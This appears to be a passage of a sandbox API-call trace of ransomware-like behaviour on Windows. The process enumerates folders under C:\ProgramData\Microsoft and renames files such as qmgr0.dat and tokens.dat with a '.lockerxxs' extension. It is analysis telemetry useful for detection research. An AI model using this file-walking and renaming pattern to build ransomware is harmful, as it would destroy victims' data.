lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610054, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.039] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.039] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.039] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650053, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.039] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.040] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f006c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.041] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.041] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.042] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.045] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.046] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.047] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.048] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.048] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0038, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.052] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.052] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720042, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.052] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.053] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.142] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat.lockerxxs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat.lockerxxs")) returned 1 [0078.201] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat.lockerxxs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat.lockerxxs")) returned 1 [0078.202] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.207] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f1280, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.208] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.218] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.226] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.226] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.236] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.lockerxxs" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.lockerxxs")) returned 1 [0078.292] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.lockerxxs" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.lockerxxs")) returned 1 [0078.296] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd90003da, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.296] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.297] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xea252960, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xea252960, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.298] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xea252960, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xea252960, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.300] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xea383460, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xea383460, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.302] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.304] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.304] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.305] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.307] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.307] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.308] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.319] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70ac, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.320] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.321] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8010, dwReserved1=0x4f800b, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.322] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x503500, dwReserved1=0x5034fb, cFileName=".", cAlternateFileName="")) returned 0x502758 [0078.327] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, 